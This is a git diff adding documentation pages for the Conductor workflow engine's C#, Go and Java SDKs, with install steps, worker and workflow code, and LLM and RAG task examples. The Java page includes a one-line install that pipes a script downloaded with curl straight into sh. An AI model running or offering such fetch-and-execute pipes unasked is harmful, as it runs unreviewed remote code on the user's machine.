Control](https://orkes.io/content/docs/getting-started/concepts/access-control) for more details on role-based access control with Conductor and generating API keys for your environment. + +### Configure API Client +```csharp +using Conductor.Api; +using Conductor.Client; +using Conductor.Client.Authentication; + +var configuration = new Configuration() { + BasePath = basePath, + AuthenticationSettings = new OrkesAuthenticationSettings("keyId", "keySecret") +}; + +var workflowClient = configuration.GetClient(); + +workflowClient.StartWorkflow( + name: "test-sdk-csharp-workflow", + body: new Dictionary(), + version: 1 +) +``` + +### Next: [Create and run task workers](https://github.com/conductor-sdk/conductor-csharp/blob/main/docs/readme/workers.md) + + +## Examples + +Browse all examples on GitHub: [conductor-oss/csharp-sdk/csharp-examples](https://github.com/conductor-oss/csharp-sdk/tree/main/csharp-examples) + +| Example | Type | +|---|---| +| [Examples](https://github.com/conductor-oss/csharp-sdk/tree/main/csharp-examples/Examples) | directory | +| [Humantaskexamples](https://github.com/conductor-oss/csharp-sdk/blob/main/csharp-examples/HumanTaskExamples.cs) | file | +| [Program](https://github.com/conductor-oss/csharp-sdk/blob/main/csharp-examples/Program.cs) | file | +| [Runner](https://github.com/conductor-oss/csharp-sdk/blob/main/csharp-examples/Runner.cs) | file | +| [Testworker](https://github.com/conductor-oss/csharp-sdk/blob/main/csharp-examples/TestWorker.cs) | file | +| [Utils](https://github.com/conductor-oss/csharp-sdk/tree/main/csharp-examples/Utils) | directory | +| [Workflowexamples](https://github.com/conductor-oss/csharp-sdk/blob/main/csharp-examples/WorkFlowExamples.cs) | file | diff --git a/docs/documentation/clientsdks/go-sdk.md b/docs/documentation/clientsdks/go-sdk.md new file mode 100644 index 0000000..2f20aba --- /dev/null +++ b/docs/documentation/clientsdks/go-sdk.md @@ -0,0 +1,272 @@ +--- +description: "Build Conductor workers in Go with type-safe task definitions and workflow management." +--- + +# Go SDK + +!!! info "Source" + GitHub: [conductor-oss/go-sdk](https://github.com/conductor-oss/go-sdk) | Report issues and contribute on GitHub. + +## Installation + +1. Initialize your module. e.g.: + +```shell +mkdir hello_world +cd hello_world +go mod init hello_world +``` + +2. Get the SDK: + +```shell +go get github.com/conductor-sdk/conductor-go +``` + +## Hello World + +In this repo you will find a basic "Hello World" under [examples/hello_world](https://github.com/conductor-oss/go-sdk/blob/main/examples/hello_world/). + +Let's analyze the app in 3 steps. + + +> [!note] +> You will need an up & running Conductor Server. +> +> For details on how to run Conductor take a look at [our guide](https://conductor-oss.github.io/conductor/devguide/running/deploy.html). +> +> The examples expect the server to be listening on http://localhost:8080. + + +### Step 1: Creating the workflow by code + +The "greetings" workflow is going to be created by code and registered in Conductor. + +Check the `CreateWorkflow` function in [examples/hello_world/src/workflow.go](https://github.com/conductor-oss/go-sdk/blob/main/examples/hello_world/src/workflow.go). + +```go +func CreateWorkflow(executor *executor.WorkflowExecutor) *workflow.ConductorWorkflow { + wf := workflow.NewConductorWorkflow(executor). + Name("greetings"). + Version(1). + Description("Greetings workflow - Greets a user by their name"). + TimeoutPolicy(workflow.TimeOutWorkflow, 600) + + greet := workflow.NewSimpleTask("greet", "greet_ref"). + Input("person_to_be_greated", "${workflow.input.name}") + + wf.Add(greet) + + wf.OutputParameters(map[string]interface{}{ + "greetings": greet.OutputRef("hello"), + }) + + return wf +} +``` + +In the above code first we create a workflow by calling `workflow.NewConductorWorkflow(..)` and set its properties `Name`, `Version`, `Description` and `TimeoutPolicy`. + +Then we create a [Simple Task](https://orkes.io/content/reference-docs/worker-task) of type `"greet"` with reference name `"greet_ref"` and add it to the workflow. That task gets the workflow input `"name"` as an input with key `"person_to_be_greated"`. + +> [!note] +>`"person_to_be_greated"` is too verbose! Why would you name it like that? +> +> It's just to make it clear that the workflow input is not passed automatically. +> +> The worker will get the actual value of the workflow input because of this mapping `Input("person_to_be_greated", "${workflow.input.name}")` in the workflow definition. +> +>Expressions like `"${workflow.input.name}"` will be replaced by their value during execution. + +Last but not least, the output of the workflow is set by calling `wf.OutputParameters(..)`. + +The value of `"greetings"` is going to be whatever `"hello"` is in the output of the executed `"greet"` task, e.g.: if the task output is: +``` +{ + "hello" : "Hello, John" +} +``` + +The expected workflow output will be: +``` +{ + "greetings": "Hello, John" +} +``` + +The Go code translates to this JSON defininition. You can view this in your Conductor server after registering the workflow. + +```json +{ + "schemaVersion": 2, + "name": "greetings", + "description": "Greetings workflow - Greets a user by their name", + "version": 1, + "tasks": [ + { + "name": "greet", + "taskReferenceName": "greet_ref", + "type": "SIMPLE", + "inputParameters": { + "name": "${workflow.input.name}" + } + } + ], + "outputParameters": { + "Greetings": "${greet_ref.output.greetings}" + }, + "timeoutPolicy": "TIME_OUT_WF", + "timeoutSeconds": 600 +} +``` + +> [!note] +> Workflows can also be registered using the API. Using the JSON you can make the following request: +> ```shell +> curl -X POST -H "Content-Type:application/json" \ +> http://localhost:8080/api/metadata/workflow -d @greetings_workflow.json +> ``` + +In [Step 3](#step-3-running-the-application) you will see how to create an instance of `executor.WorkflowExecutor`. + + +### Step 2: Creating the worker + +A worker is a function with a specific task to perform. + +In this example the worker just uses the input `person_to_be_greated` to say hello, as you can see in [examples/hello_world/src/worker.go](https://github.com/conductor-oss/go-sdk/blob/main/examples/hello_world/src/worker.go). + +```go +func Greet(task *model.Task) (interface{}, error) { + return map[string]interface{}{ + "hello": "Hello, " + fmt.Sprintf("%v", task.InputData["person_to_be_greated"]), + }, nil +} +``` + +To learn more about workers take a look at [Writing Workers with the Go SDK](https://github.com/conductor-oss/go-sdk/blob/main/docs/workers_sdk.md). + +> [!note] +> A single workflow can have task workers written in different languages and deployed anywhere, making your workflow polyglot and distributed! + +### Step 3: Running the application + +The application is going to start the Greet worker (to execute tasks of type "greet") and it will register the workflow created in [step 1](#step-1-creating-the-workflow-by-code). + +To begin with, let's take a look at the variable declaration in [examples/hello_world/main.go](https://github.com/conductor-oss/go-sdk/blob/main/examples/hello_world/main.go). + +```go + +var ( + apiClient = client.NewAPIClientFromEnv() + taskRunner = worker.NewTaskRunnerWithApiClient(apiClient) + workflowExecutor = executor.NewWorkflowExecutor(apiClient) +) + +``` + +First we create an `APIClient` instance. This is a REST client. + +We need to provide the correct settings to our client. In this example, `client.NewAPIClientFromEnv()` is used, which initializes a new client by reading the settings from the following environment variables: `CONDUCTOR_SERVER_URL`, `CONDUCTOR_AUTH_KEY`, and `CONDUCTOR_AUTH_SECRET`. +`CONDUCTOR_CLIENT_HTTP_TIMEOUT` lets you configure the HTTP timeout for our client, in seconds. If not set, defaults to 30 seconds. + +> [!tip] +> For advanced configuration options and detailed examples see the [API Client Configuration Guide](https://github.com/conductor-oss/go-sdk/blob/main/docs/api_client/README.md). + +Now let's take a look at the `main` function: + +```go +func main() { + // Start the Greet Worker. This worker will process "greet" tasks. + taskRunner.StartWorker("greet", hello_world.Greet, 1, time.Millisecond*100) + + // This is used to register the Workflow, it's a one-time process. You can comment from here + wf := hello_world.CreateWorkflow(workflowExecutor) + err := wf.Register(true) + if err != nil { + log.Error(err.Error()) + return + } + // Till Here after registering the workflow + + // Start the greetings workflow + id, err := workflowExecutor.StartWorkflow( + &model.StartWorkflowRequest{ + Name: "greetings", + Version: 1, + Input: map[string]string{ + "name": "Gopher", + }, + }, + ) + + if err != nil { + log.Error(err.Error()) + return + } + + log.Info("Started workflow with Id: ", id) + + // Get a channel to monitor the workflow execution - + // Note: This is useful in case of short duration workflows that completes in few seconds. + channel, _ := workflowExecutor.MonitorExecution(id) + run := <-channel + log.Info("Output of the workflow: ", run.Output) +} +``` + +The `taskRunner` uses the `apiClient` to poll for work and complete tasks. It also starts the worker and handles concurrency and polling intervals for us based on the configuration provided. + +That simple line `taskRunner.StartWorker("greet", hello_world.Greet, 1, time.Millisecond*100)` is all that's needed to get our Greet worker up & running and processing tasks of type `"greet"`. + +The `workflowExecutor` gives us an abstraction on top of the `apiClient` to manage workflows. It is used under the hood by `ConductorWorkflow` to register the workflow and it's also used to start and monitor the execution. + +#### Running the example with a local Conductor OSS server: +```shell +export CONDUCTOR_SERVER_URL="http://localhost:8080/api" +cd examples +go run hello_world/main.go +``` + +#### Running the example with an [Orkes developer account](https://developer.orkescloud.com). +```shell +export CONDUCTOR_SERVER_URL="https://developer.orkescloud.com/api" +export CONDUCTOR_AUTH_KEY="..." +export CONDUCTOR_AUTH_SECRET="..." +cd examples +go run hello_world/main.go +``` + +> [!note] +> Orkes Conductor requires authentication. [Get a key and secret from the server](https://orkes.io/content/how-to-videos/access-key-and-secret) to set those variables. + +The above commands should give an output similar to +```shell +INFO[0000] Updated poll interval for task: greet, to: 100ms +INFO[0000] Started 1 worker(s) for taskName greet, polling in interval of 100 ms +INFO[0000] Started workflow with Id:14a9fcc5-3d74-11ef-83dc-acde48001122 +INFO[0000] Output of the workflow:map[Greetings:Hello, Gopher] +``` + +## Deprecated Methods +Some methods in the SDK client interfaces are now deprecated. They’ve been replaced with newer methods that follow more consistent naming. Please refer to our [Migration Guide](https://github.com/conductor-oss/go-sdk/blob/main/docs/migration_guide.md) for detailed information on how to update your code. +# Further Reading + +- [Writing Workers with the Go SDK](https://github.com/conductor-oss/go-sdk/blob/main/docs/workers_sdk.md) +- [Authoring Workflows with the Go SDK](https://github.com/conductor-oss/go-sdk/blob/main/docs/workflow_sdk.md) +- [Logging Configuration](https://github.com/conductor-oss/go-sdk/blob/main/docs/logger_sdk.md) +- [Migration Guide: Deprecated Methods](https://github.com/conductor-oss/go-sdk/blob/main/docs/migration_guide.md) +- [API Client Configuration](https://github.com/conductor-oss/go-sdk/blob/main/docs/api_client/README.md) - Complete guide to API client setup, authentication, and proxy configuration +- [TLS Configuration Guide](https://github.com/conductor-oss/go-sdk/blob/main/docs/api_client/tls_configuration.md) - TLS/SSL configuration for self-signed certificates and mTLS + + +## Examples + +Browse all examples on GitHub: [conductor-oss/go-sdk/examples](https://github.com/conductor-oss/go-sdk/tree/main/examples) + +| Example | Type | +|---|---| +| [Readme](https://github.com/conductor-oss/go-sdk/blob/main/examples/README.md) | file | +| [Api Gateway](https://github.com/conductor-oss/go-sdk/tree/main/examples/api_gateway) | directory | +| [Hello World](https://github.com/conductor-oss/go-sdk/tree/main/examples/hello_world) | directory | +| [Workflow](https://github.com/conductor-oss/go-sdk/tree/main/examples/workflow) | directory | diff --git a/docs/documentation/clientsdks/index.md b/docs/documentation/clientsdks/index.md new file mode 100644 index 0000000..74e6667 --- /dev/null +++ b/docs/documentation/clientsdks/index.md @@ -0,0 +1,19 @@ +--- +description: "Conductor SDKs for Java, Python, Go, JavaScript, C#, Ruby, and Rust — build workflow as code and task workers in any language with type-safe APIs, automatic polling, and workflow orchestration management for this open source workflow engine." +--- + +# SDKs + +Build Conductor workers and define workflow as code in your language of choice. Every SDK provides task polling, workflow management, and full API coverage for this open source workflow orchestration engine — so you can focus on your business logic while Conductor handles retries, state, and orchestration. + +

    +

    Java

    Spring Boot integration, annotation-based workers, thread management, and testing framework.

    →     +

    Python

    Decorator-based task definitions, async support, and workflow management.

    →     +

    Go

    Type-safe task definitions, struct-based I/O, and concurrent worker execution.

    →     +

    JavaScript / TypeScript

    Full TypeScript support, Promise-based APIs, and workflow management.

    →     +

    C# / .NET

    Dependency injection, async/await patterns, and NuGet packages.

    →     +

    Ruby

    Idiomatic Ruby task definitions and workflow management.

    →     +

    Rust

    Type-safe task definitions, async runtime support, and zero-cost abstractions.

    →     +
    + +All SDKs are open source and hosted at [github.com/conductor-oss](https://github.com/conductor-oss). Contributions are welcome. diff --git a/docs/documentation/clientsdks/java-sdk.md b/docs/documentation/clientsdks/java-sdk.md new file mode 100644 index 0000000..c43f571 --- /dev/null +++ b/docs/documentation/clientsdks/java-sdk.md @@ -0,0 +1,618 @@ +--- +description: "Build Conductor workers in Java with automated polling, thread management, and Spring Boot integration." +--- + +# Java SDK + +!!! info "Source" + GitHub: [conductor-oss/java-sdk](https://github.com/conductor-oss/java-sdk) | Report issues and contribute on GitHub. + +## Start Conductor server + +If you don't already have a Conductor server running, pick one: + +**Docker (recommended, includes UI):** + +```shell +docker run -p 8080:8080 conductoross/conductor:latest +``` +The UI will be available at `http://localhost:8080` and the API at `http://localhost:8080/api` + +**MacOS / Linux (one-liner):** (If you don't want to use docker, you can install and run the binary directly) +```shell +curl -sSL https://raw.githubusercontent.com/conductor-oss/conductor/main/conductor_server.sh | sh +``` + +**Conductor CLI** +```shell +# Installs conductor cli +npm install -g @conductor-oss/conductor-cli + +# Start the open source conductor server +conductor server start +# see conductor server --help for all the available commands +``` + +## Install the SDK + +The SDK requires Java 17+. Add the following dependency to your project: + +**For Gradle:** + +```gradle +dependencies { + implementation 'org.conductoross:conductor-client:5.0.1' + + // Optionally, you can also add spring module for auto configuration + // implementation 'org.conductoross:conductor-client-spring:5.0.1' +} +``` + +**For Maven:** + +```xml + + org.conductoross + conductor-client + 5.0.1 + +``` +*Optionally, you can also add spring module for auto configuration* +```xml + + org.conductoross + conductor-client-spring + 5.0.1 + +``` + + +## 60-Second Quickstart + +**Step 1: Write a worker** + +Workers are Java classes that implement the `Worker` interface and poll Conductor for tasks to execute. + +```java +public class GreetWorker implements Worker { + + @Override + public String getTaskDefName() { + return "greet"; + } + + @Override + public TaskResult execute(Task task) { + String name = (String) task.getInputData().get("name"); + TaskResult result = new TaskResult(task); + result.setStatus(TaskResult.Status.COMPLETED); + result.addOutputData("greeting", "Hello, " + name + "!"); + return result; + } +} +``` + +**Step 2: Run your first workflow app** + +Create a `Main.java` with the following: + +```java +import io.orkes.conductor.client.ApiClient; +import io.orkes.conductor.client.OrkesClients; +import com.netflix.conductor.client.automator.TaskRunnerConfigurer; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.sdk.workflow.def.ConductorWorkflow; +import com.netflix.conductor.sdk.workflow.def.tasks.SimpleTask; +import com.netflix.conductor.sdk.workflow.executor.WorkflowExecutor; + +import java.util.List; +import java.util.Map; + +public class Main { + public static void main(String[] args) { + // Configure the SDK via ApiClient (enterprise-compatible path) + ApiClient apiClient = ApiClient.builder().build(); + OrkesClients clients = new OrkesClients(apiClient); + + // Create workflow executor + WorkflowExecutor executor = new WorkflowExecutor(apiClient, 100); + + // Build and register the workflow + ConductorWorkflow workflow = new ConductorWorkflow<>(executor); + workflow.setName("greetings"); + workflow.setVersion(1); + + SimpleTask greetTask = new SimpleTask("greet", "greet_ref"); + greetTask.input("name", "${workflow.input.name}"); + workflow.add(greetTask); + workflow.registerWorkflow(true, true); + + // Start polling for tasks using OrkesTaskClient + TaskRunnerConfigurer configurer = new TaskRunnerConfigurer.Builder( + clients.getTaskClient(), + List.of(new GreetWorker()) + ).withThreadCount(10).build(); + configurer.init(); + + // Run the workflow using OrkesWorkflowClient + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("greetings"); + request.setVersion(1); + request.setInput(Map.of("name", "Conductor")); + String workflowId = clients.getWorkflowClient().startWorkflow(request); + + System.out.println("Started workflow: " + workflowId); + System.out.println("View execution at: " + apiClient.getBasePath().replace("/api", "") + "/execution/" + workflowId); + } +} +``` + +Run it: + +```shell +./gradlew run +``` + +> ### Using Orkes Conductor / Remote Server? +> Export your authentication credentials as well: +> +> ```shell +> export CONDUCTOR_SERVER_URL="https://your-cluster.orkesconductor.io/api" +> +> # If using Orkes Conductor that requires auth key/secret +> export CONDUCTOR_AUTH_KEY="your-key" +> export CONDUCTOR_AUTH_SECRET="your-secret" +> ``` + +That's it -- you just defined a worker, built a workflow, and executed it. Open the Conductor UI (default: +[http://localhost:8080](http://localhost:8080)) to see the execution. + +## Comprehensive worker example + +See [examples/basics/hello-world/](https://github.com/conductor-oss/java-sdk/tree/main/examples/basics/hello-world) for a complete working example with: +- Workflow definition using the SDK +- Worker implementation with annotations +- Workflow execution and monitoring + +--- + +## Workers + +Workers are Java classes that execute Conductor tasks. Implement the `Worker` interface or use the `@WorkerTask` annotation: + +**Using Worker interface:** + +```java +public class MyWorker implements Worker { + + @Override + public String getTaskDefName() { + return "my_task"; + } + + @Override + public TaskResult execute(Task task) { + // Your business logic here + TaskResult result = new TaskResult(task); + result.setStatus(TaskResult.Status.COMPLETED); + result.addOutputData("result", "Task completed successfully"); + return result; + } +} +``` + +**Using @WorkerTask annotation:** + +```java +public class Workers { + + @WorkerTask("greet") + public String greet(@InputParam("name") String name) { + return "Hello, " + name + "!"; + } + + @WorkerTask("process_data") + public Map processData(@InputParam("data") Map data) { + // Process and return data + return Map.of("processed", true, "result", data); + } +} +``` + +**Start workers** with `TaskRunnerConfigurer` or `WorkflowExecutor`: + +```java +// Option 1: Using TaskRunnerConfigurer +ApiClient apiClient = ApiClient.builder().build(); +OrkesClients clients = new OrkesClients(apiClient); + +TaskRunnerConfigurer configurer = new TaskRunnerConfigurer.Builder( + clients.getTaskClient(), + List.of(new MyWorker(), new AnotherWorker()) +) +.withThreadCount(10) +.build(); +configurer.init(); + +// Option 2: Using WorkflowExecutor (auto-discovers @WorkerTask annotations) +WorkflowExecutor executor = new WorkflowExecutor(apiClient, 10); +executor.initWorkers("com.mycompany.workers"); // Package to scan for @WorkerTask +``` + +**Worker Design Principles:** + +- Workers should be stateless and idempotent +- Handle failure scenarios gracefully +- Report status back to Conductor +- Complete execution quickly (or use polling for long-running tasks) + +**Worker vs. HTTP Endpoints:** + +| Feature | Worker | HTTP Endpoint | +|---------|--------|---------------| +| Deployment | Embedded in application | Separate service | +| Scalability | Horizontal (add more instances) | Horizontal (add more instances) | +| Latency | Lower (direct polling) | Higher (network overhead) | +| Complexity | Simple | Complex (service mesh, load balancer) | + +**Learn more:** +- [Worker SDK Guide](https://github.com/conductor-oss/java-sdk/blob/main/java-sdk/worker_sdk.md) — Complete worker framework documentation +- [Worker Examples](https://github.com/conductor-oss/java-sdk/blob/main/examples/) — Sample worker implementations + +## Monitoring Workers + +Enable metrics collection for monitoring workers: + +```java +// Using conductor-client-metrics module +dependencies { + implementation 'org.conductoross:conductor-client-metrics:5.0.1' +} +``` + +```java +// Configure metrics with Prometheus +TaskRunnerConfigurer configurer = new TaskRunnerConfigurer.Builder(taskClient, workers) + .withThreadCount(10) + .withMetricsCollector(new PrometheusMetricsCollector()) + .build(); +``` + +See [conductor-client-metrics/README.md](https://github.com/conductor-oss/java-sdk/blob/main/conductor-client-metrics/README.md) for full metrics documentation. + +## Workflows + +Define workflows in Java using the `ConductorWorkflow` builder: + +```java +ConductorWorkflow workflow = new ConductorWorkflow<>(executor); +workflow.setName("my_workflow"); +workflow.setVersion(1); +workflow.setOwnerEmail("team@example.com"); + +// Add tasks +SimpleTask task1 = new SimpleTask("task1", "task1_ref"); +SimpleTask task2 = new SimpleTask("task2", "task2_ref"); +workflow.add(task1); +workflow.add(task2); + +// Register the workflow +workflow.registerWorkflow(true, true); +``` + +**Execute workflows:** + +```java +ApiClient apiClient = ApiClient.builder().build(); +OrkesClients clients = new OrkesClients(apiClient); +WorkflowClient workflowClient = clients.getWorkflowClient(); + +// Synchronous (start and poll for completion) +CompletableFuture future = workflow.execute(input); +Workflow result = future.get(30, TimeUnit.SECONDS); +System.out.println("Output: " + result.getOutput()); + +// Asynchronous (returns workflow ID immediately) +StartWorkflowRequest request = new StartWorkflowRequest(); +request.setName("my_workflow"); +request.setVersion(1); +request.setInput(Map.of("key", "value")); +String workflowId = workflowClient.startWorkflow(request); + +// Dynamic execution (sends workflow definition with request) +CompletableFuture dynamicRun = workflow.executeDynamic(input); +``` + +**Manage running workflows:** + +```java +// Get workflow status +Workflow wf = workflowClient.getWorkflow(workflowId, true); +System.out.println("Status: " + wf.getStatus()); + +// Pause, resume, terminate +workflowClient.pauseWorkflow(workflowId); +workflowClient.resumeWorkflow(workflowId); +workflowClient.terminateWorkflow(workflowId, "No longer needed"); + +// Retry and restart failed workflows +workflowClient.retryWorkflow(workflowId); +workflowClient.restartWorkflow(workflowId, false); +``` + +**Learn more:** +- [Workflow SDK Guide](https://github.com/conductor-oss/java-sdk/blob/main/java-sdk/workflow_sdk.md) — Workflow-as-code documentation +- [Workflow Testing](https://github.com/conductor-oss/java-sdk/blob/main/java-sdk/testing_framework.md) — Unit testing workflows + +## Troubleshooting + +**Worker stops polling or crashes:** +- Check network connectivity to Conductor server +- Verify `CONDUCTOR_SERVER_URL` is set correctly +- Ensure sufficient thread pool size for your workload +- Monitor JVM memory and GC pauses + +**Connection refused errors:** +- Verify Conductor server is running: `curl http://localhost:8080/health` +- Check firewall rules if connecting to remote server +- For Orkes Conductor, verify auth credentials are correct + +**Tasks stuck in SCHEDULED state:** +- Ensure workers are polling for the correct task type +- Check that `getTaskDefName()` matches the task name in workflow +- Verify worker thread count is sufficient + +**Workflow execution timeout:** +- Increase workflow timeout in definition +- Check if tasks are completing within expected time +- Monitor Conductor server logs for errors + +**Authentication errors with Orkes Conductor:** +- Verify `CONDUCTOR_AUTH_KEY` and `CONDUCTOR_AUTH_SECRET` are set +- Ensure the application has required permissions +- Check that credentials haven't expired + +--- + +## File handling + +For workflows that move binary file payloads, the SDK exposes `FileHandler` — a worker-facing reference to a file in the configured backend. Pass it as a worker input/output and the runtime handles upload, download, and the metadata roundtrip transparently. See [File Storage](../advanced/file-storage.md) for the operator-side configuration and [File API](../api/files.md) for the underlying REST surface. + +The relevant types in `org.conductoross.conductor.sdk.file`: + +| Type | Use | +|---|---| +| `FileHandler` | Worker parameter type for files. Static `fromLocalFile(Path)` / `fromLocalFile(Path, contentType)` create a handle for a local file the worker is producing. | +| `FileUploader` | Explicit upload API; obtained from `task.getFileUploader()` inside a `Worker` impl, or from `WorkflowFileClient` outside one. | +| `FileUploadOptions` | Optional metadata: `contentType`, `fileName`, `taskId`, `multipart`. | + +**Worker that consumes a file:** + +```java +public class TranscodeInput { + public FileHandler primary_video; + public String resolution; +} + +@WorkerTask("transcode_video") +public @OutputParam("output_file") FileHandler transcode(TranscodeInput input) throws IOException { + Path transcoded = Files.createTempFile("transcoded-", ".mp4"); + try (InputStream in = input.primary_video.getInputStream()) { + Files.write(transcoded, in.readAllBytes()); + } + return FileHandler.fromLocalFile(transcoded, "video/mp4"); +} +``` + +`primary_video` is auto-resolved from the task input — the runtime downloads the file lazily on first read of `getInputStream()`. The returned `FileHandler` is auto-uploaded by the task runner before the task output is published, and the resulting `fileHandleId` is substituted into the output map so downstream tasks can consume it. + +**Explicit upload inside a `Worker` implementation:** + +```java +@Override +public TaskResult execute(Task task) { + Path output = renderReport(task); + FileHandler handle = task.getFileUploader().upload( + output, + new FileUploadOptions().setContentType("application/pdf").setMultipart(true)); + TaskResult result = new TaskResult(task); + result.getOutputData().put("report", handle); + return result; +} +``` + +Use this form when you want to control upload timing (e.g., upload before the task's main work completes, or upload an `InputStream` that's not backed by a file). When `multipart=true` the SDK uses the multipart upload flow on backends that support it, falling back to single-shot otherwise. + +--- + +## AI & LLM Workflows + +Conductor supports AI-native workflows including agentic tool calling, RAG pipelines, and multi-agent orchestration. + +**Agentic Workflows** + +Build AI agents where LLMs dynamically select and call Java workers as tools. All agentic examples live in [`AgenticExamplesRunner.java`](https://github.com/conductor-oss/java-sdk/blob/main/examples/old/src/main/java/io/orkes/conductor/sdk/examples/agentic/AgenticExamplesRunner.java) — a single unified runner. + +| Workflow | Description | +|----------|-------------| +| `llm_chat_workflow` | Automated multi-turn Q&A using `LLM_CHAT_COMPLETE` system task | +| `llm_chat_human_in_loop` | Interactive chat with WAIT task pauses for user input | +| `multiagent_chat_demo` | Multi-agent debate with moderator routing between two LLM panelists | +| `function_calling_workflow` | LLM picks which Java worker to call, returns JSON, dispatch worker executes it | +| `mcp_ai_agent` | AI agent using MCP tools (ListMcpTools → LLM plans → CallMcpTool → summarize) | + +**LLM and RAG Workflows** + +| Example | Description | +|---------|-------------| +| [RagWorkflowExample.java](https://github.com/conductor-oss/java-sdk/blob/main/examples/old/src/main/java/io/orkes/conductor/sdk/examples/agentic/RagWorkflowExample.java) | End-to-end RAG: document indexing, semantic search, answer generation | +| [VectorDbExample.java](https://github.com/conductor-oss/java-sdk/blob/main/examples/old/src/main/java/io/orkes/conductor/sdk/examples/agentic/VectorDbExample.java) | Vector database operations: text indexing, embedding generation, and semantic search | + +**Using LLM Tasks in Workflows:** + +```java +// Chat completion task (LLM_CHAT_COMPLETE system task) +LlmChatComplete chatTask = new LlmChatComplete("chat_assistant", "chat_ref") + .llmProvider("openai") + .model("gpt-4o-mini") + .messages(List.of( + Map.of("role", "system", "message", "You are a helpful assistant."), + Map.of("role", "user", "message", "${workflow.input.question}") + )) + .temperature(0.7) + .maxTokens(500); + +// Text completion task (LLM_TEXT_COMPLETE system task) +LlmTextComplete textTask = new LlmTextComplete("generate_text", "text_ref") + .llmProvider("openai") + .model("gpt-4o-mini") + .promptName("my-prompt-template") + .temperature(0.7); + +// Document indexing for RAG (LLM_INDEX_DOCUMENT system task) +LlmIndexDocument indexTask = new LlmIndexDocument("index_doc", "index_ref") + .vectorDb("pinecone") + .namespace("my-docs") + .index("knowledge-base") + .embeddingModel("text-embedding-ada-002") + .text("${workflow.input.document}"); + +// Semantic search (LLM_SEARCH_INDEX system task) +LlmSearchIndex searchTask = new LlmSearchIndex("search_docs", "search_ref") + .vectorDb("pinecone") + .namespace("my-docs") + .index("knowledge-base") + .query("${workflow.input.question}") + .topK(5); + +// MCP tool discovery (MCP_LIST_TOOLS system task — Orkes Conductor) +ListMcpTools listTools = new ListMcpTools("discover_tools", "tools_ref") + .mcpServer("http://localhost:3001/mcp"); + +// MCP tool execution (MCP_CALL_TOOL system task — Orkes Conductor) +CallMcpTool callTool = new CallMcpTool("execute_tool", "tool_ref") + .mcpServer("http://localhost:3001/mcp") + .method("${tools_ref.output.result.method}") + .arguments("${tools_ref.output.result.arguments}"); + +workflow.add(chatTask); +workflow.add(textTask); +workflow.add(indexTask); +``` + +Run all agentic examples: + +```shell +export CONDUCTOR_SERVER_URL=http://localhost:8080/api +export OPENAI_API_KEY=your-key # or ANTHROPIC_API_KEY + +# Run all examples end-to-end +./gradlew :examples:run --args="--all" + +# Run specific workflow +./gradlew :examples:run --args="--menu" +``` + +## Examples + +See the [Examples Guide](https://github.com/conductor-oss/java-sdk/blob/main/examples/README.md) for the full catalog. Key examples: + +| Example | Description | Run | +|---------|-------------|-----| +| [Hello World](https://github.com/conductor-oss/java-sdk/tree/main/examples/basics/hello-world) | Minimal workflow with worker | `./gradlew :examples:run -PmainClass=com.netflix.conductor.sdk.examples.helloworld.Main` | +| [Workflow Operations](https://github.com/conductor-oss/java-sdk/tree/main/examples/old/src/main/java/io/orkes/conductor/sdk/examples/workflowops) | Pause, resume, terminate workflows | `./gradlew :examples:run -PmainClass=io.orkes.conductor.sdk.examples.workflowops.Main` | +| [Shipment Workflow](https://github.com/conductor-oss/java-sdk/tree/main/examples/old/src/main/java/com/netflix/conductor/sdk/examples/shipment) | Real-world order processing | `./gradlew :examples:run -PmainClass=com.netflix.conductor.sdk.examples.shipment.Main` | +| [Events](https://github.com/conductor-oss/java-sdk/tree/main/examples/old/src/main/java/com/netflix/conductor/sdk/examples/events) | Event-driven workflows | `./gradlew :examples:run -PmainClass=com.netflix.conductor.sdk.examples.events.EventHandlerExample` | +| [All AI examples](https://github.com/conductor-oss/java-sdk/blob/main/examples/old/src/main/java/io/orkes/conductor/sdk/examples/agentic/AgenticExamplesRunner.java) | All agentic/LLM workflows | `./gradlew :examples:run --args="--all"` | +| [RAG Workflow](https://github.com/conductor-oss/java-sdk/blob/main/examples/old/src/main/java/io/orkes/conductor/sdk/examples/agentic/RagWorkflowExample.java) | RAG pipeline (index → search → answer) | `./gradlew :examples:run -PmainClass=io.orkes.conductor.sdk.examples.agentic.RagWorkflowExample` | +| [Media Transcoder](https://github.com/conductor-oss/file-storage-java-sdk/tree/main/examples/file-storage/media-transcoder) | File-handling pipeline: upload video → transcode → thumbnail → manifest | `mvn -f examples/file-storage/media-transcoder/pom.xml exec:java` | + +## API Journey Examples + +End-to-end examples covering all APIs for each domain: + +| Example | APIs | Run | +|---------|------|-----| +| [Metadata Management](https://github.com/conductor-oss/java-sdk/blob/main/examples/old/src/main/java/io/orkes/conductor/sdk/examples/MetadataManagement.java) | Task & workflow definitions | `./gradlew :examples:run -PmainClass=io.orkes.conductor.sdk.examples.MetadataManagement` | +| [Workflow Management](https://github.com/conductor-oss/java-sdk/blob/main/examples/old/src/main/java/io/orkes/conductor/sdk/examples/WorkflowManagement.java) | Start, monitor, control workflows | `./gradlew :examples:run -PmainClass=io.orkes.conductor.sdk.examples.WorkflowManagement` | +| [Authorization Management](https://github.com/conductor-oss/java-sdk/blob/main/examples/old/src/main/java/io/orkes/conductor/sdk/examples/AuthorizationManagement.java) | Users, groups, permissions | `./gradlew :examples:run -PmainClass=io.orkes.conductor.sdk.examples.AuthorizationManagement` | +| [Scheduler Management](https://github.com/conductor-oss/java-sdk/blob/main/examples/old/src/main/java/io/orkes/conductor/sdk/examples/SchedulerManagement.java) | Workflow scheduling | `./gradlew :examples:run -PmainClass=io.orkes.conductor.sdk.examples.SchedulerManagement` | + +## Documentation + +| Document | Description | +|----------|-------------| +| [Worker SDK](https://github.com/conductor-oss/java-sdk/blob/main/java-sdk/worker_sdk.md) | Complete worker framework guide | +| [Workflow SDK](https://github.com/conductor-oss/java-sdk/blob/main/java-sdk/workflow_sdk.md) | Workflow-as-code documentation | +| [Testing Framework](https://github.com/conductor-oss/java-sdk/blob/main/java-sdk/testing_framework.md) | Unit testing workflows and workers | +| [Conductor Client](https://github.com/conductor-oss/java-sdk/blob/main/conductor-client/README.md) | HTTP client library documentation | +| [Client Metrics](https://github.com/conductor-oss/java-sdk/blob/main/conductor-client-metrics/README.md) | Prometheus metrics collection | +| [Spring Integration](https://github.com/conductor-oss/java-sdk/blob/main/conductor-client-spring/README.md) | Spring Boot auto-configuration | +| 